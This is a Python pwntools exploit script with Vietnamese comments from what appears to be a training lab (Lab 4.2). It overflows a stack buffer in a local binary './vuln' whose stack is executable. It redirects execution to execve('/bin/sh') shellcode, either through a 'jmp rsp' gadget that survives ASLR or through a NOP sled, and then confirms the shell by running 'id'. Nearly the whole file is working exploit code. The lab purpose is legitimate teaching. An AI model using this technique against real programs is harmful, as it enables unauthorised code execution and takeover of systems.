#!/usr/bin/env python3
# Lab 4.2: shellcode-on-stack khi NX tat.
#
# Hai cach:
#   (mac dinh) jmp rsp  : chay duoc CA KHI ASLR bat. Ghi RIP = dia chi gadget
#                         'jmp rsp' co dinh trong binary no-PIE, dat shellcode
#                         ngay sau slot RIP. Luc ret, rsp tro dung vao shellcode.
#   args.DIRECT         : nhay thang vao dia chi stack (chi khi ASLR tat). Dat
#                         shellcode o dau buf, ghi RIP = dia chi buf lay tu gdb.
#
# Chay: /root/techlabs/venv/bin/python3 exploit.py
#       /root/techlabs/venv/bin/python3 exploit.py DIRECT BUF=0x7fffffffe2b0
from pwn import *

context.binary = elf = ELF('./vuln', checksec=False)
context.log_level = 'info'

# shellcode execve("/bin/sh") 23 byte, null-free (giong Bai 4.1).
sc = asm(shellcraft.amd64.linux.sh())

# Offset tu dau buf toi saved RIP: do bang cyclic (xem transcript.txt).
offset = 72

if args.DIRECT:
    # --- Cach 2: nhay thang vao stack, ASLR phai tat ---
    # Dat shellcode SAU slot RIP, dem truoc no bang NOP sled (0x90). Ta nhay
    # vao giua sled: dia chi lech chut it van truot (slide) toi shellcode.
    # buf_addr lay tu gdb: break read ; printf "%p", $rsi (xem transcript.txt).
    buf_addr = int(args.BUF, 16)
    sled = b'\x90' * 256
    target = buf_addr + offset + 8 + 128    # giua sled (sled dat ngay sau slot RIP)
    log.info('buf @ %#x, nhay vao giua NOP sled @ %#x (ASLR phai tat)', buf_addr, target)
    payload = flat(b'A' * offset, p64(target), sled, sc)
else:
    # --- Cach 1: jmp rsp (mac dinh), ASLR bat van chay ---
    jmp_rsp = next(elf.search(asm('jmp rsp'), executable=True))
    log.info('gadget jmp rsp @ %#x', jmp_rsp)
    payload = flat(
        b'A' * offset,     # dem toi saved RIP
        p64(jmp_rsp),      # RIP = jmp rsp
        sc,                # luc ret, rsp tro vao day
    )

io = process('./vuln')
io.sendafter(b'du lieu:\n', payload)
# Cho shellcode exec /bin/sh TRUOC khi go lenh. read(0, buf, 400) la greedy:
# neu lenh toi kip, no bi nuot chung vao buf (1 lan doc) -> shell mat input.
sleep(0.3)
io.sendline(b'echo ===PWNED_4_2===; id; echo ===END===')
io.sendline(b'exit')
out = io.recvall(timeout=5).decode(errors='replace')
print(out)
assert 'uid=' in out and '===PWNED_4_2===' in out, 'FAIL: khong lay duoc shell'
log.success('shellcode-on-stack lay shell that')